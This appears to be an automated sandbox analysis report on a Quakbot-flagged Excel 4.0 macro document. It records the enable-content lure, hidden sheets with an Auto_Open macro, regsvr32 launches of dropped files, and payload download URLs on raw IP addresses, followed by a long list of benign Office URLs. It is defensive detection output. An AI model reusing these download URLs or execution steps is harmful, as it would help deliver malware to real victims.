Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 12Screenshot OCR: Enable Editing from the yellow bar above. (i) PROTECTED VIEW Be careful-files from the Internet ca
Source: Screenshot number: 12Screenshot OCR: Enable Content O Sheet1 CD O Type here to search El Ki i 1 Saving lmgs, Press ESC to cancel,
Source: Document image extraction number: 0Screenshot OCR: Enable Editing from the yellow bar above. PROTECTED VIEW Be careful-files from the Internet can
Source: Document image extraction number: 0Screenshot OCR: Enable Content
Source: Document image extraction number: 1Screenshot OCR: Enable Editing from the yellow bar above. (i) PROTECTED VIEW Be careful-files from the Internet ca
Source: Document image extraction number: 1Screenshot OCR: Enable Content
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Permission-414467145-06252021.xlsmInitial sample: EXEC
Source: workbook.xmlBinary string: "/><mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"><mc:Choice Requires="x15"><x15ac:absPath url="C:\Users\Admin\Desktop\" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/></mc:Choice></mc:AlternateContent><xr:revisionPtr revIDLastSave="0" documentId="13_ncr:1_{89C0748D-BB39-4A32-8068-C0C630B753E6}" xr6:coauthVersionLast="45" xr6:coauthVersionMax="45" xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}"/><bookViews><workbookView xWindow="-120" yWindow="-120" windowWidth="29040" windowHeight="15990" xr2:uid="{00000000-000D-0000-FFFF-FFFF00000000}"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/><sheet name="Sheet" sheetId="2" state="hidden" r:id="rId2"/><sheet name="Sheet4" sheetId="4" state="hidden" r:id="rId3"/><sheet name="Sheet2" sheetId="3" state="hidden" r:id="rId4"/></sheets><definedNames><definedName hidden="1" name="_xlnm.Auto_Open">Sheet!$G$1</definedName></definedNames><calcPr calcId="191029"/><extLst><ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}" xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"><x15:workbookPr chartTrackingRefBase="1"/></ext><ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}" xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures"><xcalcf:calcFeatures><xcalcf:feature name="microsoft.com:RD"/><xcalcf:feature name="microsoft.com:FV"/></xcalcf:calcFeatures></ext></extLst></workbook>
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
Source: classification engineClassification label: mal64.expl.evad.winXLSM@7/9@0/3
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{FFBC7E5E-33E2-4256-80CE-4714E300C8DE} - OProcSessId.datJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis2
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fisJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis1Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\Kro.fis2Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Permission-414467145-06252021.xlsmInitial sample: OLE zip file path = xl/media/image1.jpg
Source: Permission-414467145-06252021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Permission-414467145-06252021.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: regsvr32.exe, 00000004.00000002.698699706.0000000001030000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.692310938.0000000000EC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.688666471.0000000004B00000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: regsvr32.exe, 00000004.00000002.698699706.0000000001030000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.692310938.0000000000EC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.688666471.0000000004B00000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: regsvr32.exe, 00000004.00000002.698699706.0000000001030000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.692310938.0000000000EC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.688666471.0000000004B00000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: regsvr32.exe, 00000004.00000002.698699706.0000000001030000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.692310938.0000000000EC0000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.688666471.0000000004B00000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting11DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution22Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol11Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting11NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Permission-414467145-06252021.xlsm5%VirustotalBrowse
Permission-414467145-06252021.xlsm4%ReversingLabsDocument-Office.Backdoor.Quakbot

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://185.240.103.219/44372.593127662.dat0%Avira URL Cloudsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
http://190.14.37.3/44372.593127662.dat0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://ncus.contentsync.0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://wus2.contentsync.0%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://ncus.pagecontentsync.0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://api.cortana.ai0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://185.240.103.219/44372.593127662.datfalse
  • Avira URL Cloud: safe
unknown
http://190.14.37.3/44372.593127662.datfalse
  • Avira URL Cloud: safe
unknown

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://api.diagnosticssdf.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
    high
    https://login.microsoftonline.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
      high
      https://shell.suite.office.com:144315D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
        high
        https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
          high
          https://autodiscover-s.outlook.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
            high
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
              high
              https://cdn.entity.15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              unknown
              https://api.addins.omex.office.net/appinfo/query15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                high
                https://clients.config.office.net/user/v1.0/tenantassociationkey15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                  high
                  https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                    high
                    https://powerlift.acompli.net15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://rpsticket.partnerservices.getmicrosoftkey.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://lookup.onenote.com/lookup/geolocation/v115D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                      high
                      https://cortana.ai15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                        high
                        https://cloudfiles.onenote.com/upload.aspx15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                          high
                          https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                            high
                            https://entitlement.diagnosticssdf.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                              high
                              https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                high
                                https://api.aadrm.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                unknown
                                https://ofcrecsvcapi-int.azurewebsites.net/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                unknown
                                https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                  high
                                  https://api.microsoftstream.com/api/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                    high
                                    https://insertmedia.bing.office.net/images/hosted?host=office&amp;adlt=strict&amp;hostType=Immersive15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                      high
                                      https://cr.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                        high
                                        https://portal.office.com/account/?ref=ClientMeControl15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                          high
                                          https://graph.ppe.windows.net15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                            high
                                            https://res.getmicrosoftkey.com/api/redemptionevents15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            unknown
                                            https://powerlift-frontdesk.acompli.net15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            • URL Reputation: safe
                                            unknown
                                            https://tasks.office.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                              high
                                              https://officeci.azurewebsites.net/api/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                              • 0%, Virustotal, Browse
                                              • Avira URL Cloud: safe
                                              unknown
                                              https://sr.outlook.office.net/ws/speech/recognize/assistant/work15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                high
                                                https://store.office.cn/addinstemplate15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://outlook.office.com/autosuggest/api/v1/init?cvid=15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                  high
                                                  https://globaldisco.crm.dynamics.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                    high
                                                    https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                      high
                                                      https://store.officeppe.com/addinstemplate15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://dev0-api.acompli.net/autodetect15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://www.odwebp.svc.ms15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://api.powerbi.com/v1.0/myorg/groups15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                        high
                                                        https://web.microsoftstream.com/video/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                          high
                                                          https://graph.windows.net15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                            high
                                                            https://dataservice.o365filtering.com/15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://officesetup.getmicrosoftkey.com15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://analysis.windows.net/powerbi/api15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                              high
                                                              https://prod-global-autodetect.acompli.net/autodetect15D09FEF-C541-4421-B5FD-A7FAC873EAA7.1.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              unknown
